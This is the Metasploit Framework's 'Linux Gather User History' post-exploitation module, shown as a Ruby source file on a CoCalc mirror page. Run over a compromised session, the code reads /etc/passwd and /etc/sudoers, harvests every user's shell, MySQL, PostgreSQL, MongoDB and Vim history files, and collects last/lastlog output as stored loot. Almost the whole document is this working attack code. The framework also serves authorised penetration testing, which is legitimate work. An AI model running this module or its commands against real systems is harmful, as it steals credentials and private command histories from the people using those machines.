CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/enum_users_history.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::System
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Linux Gather User History',
15
'Description' => %q{
16
This module gathers the following user-specific information:
17
shell history, MySQL history, PostgreSQL history, MongoDB history,
18
Vim history, lastlog, and sudoers.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
# based largely on get_bash_history function by Stephen Haywood
23
'ohdae <bindshell[at]live.com>'
24
],
25
'Platform' => ['linux'],
26
'SessionTypes' => ['shell', 'meterpreter']
27
)
28
)
29
end
30
31
def run
32
distro = get_sysinfo
33
34
print_good('Info:')
35
print_good("\t#{distro[:version]}")
36
print_good("\t#{distro[:kernel]}")
37
38
user = execute('/usr/bin/whoami')
39
users = execute('/bin/cat /etc/passwd | cut -d : -f 1').chomp.split
40
users = [user] if user != 'root' || users.blank?
41
42
vprint_status("Retrieving history for #{users.length} users")
43
shells = %w[ash bash csh ksh sh tcsh zsh]
44
users.each do |u|
45
home = get_home_dir(u)
46
shells.each do |shell|
47
get_shell_history(u, home, shell)
48
end
49
get_mysql_history(u, home)
50
get_psql_history(u, home)
51
get_mongodb_history(u, home)
52
get_vim_history(u, home)
53
end
54
55
last = execute('/usr/bin/last && /usr/bin/lastlog')
56
sudoers = cat_file('/etc/sudoers')
57
save('Last logs', last) unless last.blank?
58
save('Sudoers', sudoers) unless sudoers.blank? || sudoers =~ /Permission denied/
59
end
60
61
def save(msg, data, ctype = 'text/plain')
62
ltype = 'linux.enum.users'
63
loot = store_loot(ltype, ctype, session, data, nil, msg)
64
print_good("#{msg} stored in #{loot}")
65
end
66
67
def execute(cmd)
68
vprint_status("Execute: #{cmd}")
69
output = cmd_exec(cmd)
70
output
71
end
72
73
def cat_file(filename)
74
vprint_status("Download: #{filename}")
75
output = read_file(filename)
76
output
77
end
78
79
def get_home_dir(user)
80
home = execute("echo ~#{user}")
81
if home.empty?
82
if user == 'root'
83
home = '/root'
84
else
85
home = "/home/#{user}"
86
end
87
end
88
home
89
end
90
91
def get_shell_history(user, home, shell)
92
vprint_status("Extracting #{shell} history for #{user}")
93
hist = cat_file("#{home}/.#{shell}_history")
94
save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/
95
end
96
97
def get_mysql_history(user, home)
98
vprint_status("Extracting MySQL history for #{user}")
99
sql_hist = cat_file("#{home}/.mysql_history")
100
save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
101
end
102
103
def get_psql_history(user, home)
104
vprint_status("Extracting PostgreSQL history for #{user}")
105
sql_hist = cat_file("#{home}/.psql_history")
106
save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
107
end
108
109
def get_mongodb_history(user, home)
110
vprint_status("Extracting MongoDB history for #{user}")
111
sql_hist = cat_file("#{home}/.dbshell")
112
save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
113
end
114
115
def get_vim_history(user, home)
116
vprint_status("Extracting Vim history for #{user}")
117
vim_hist = cat_file("#{home}/.viminfo")
118
save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
119
end
120
end
121
122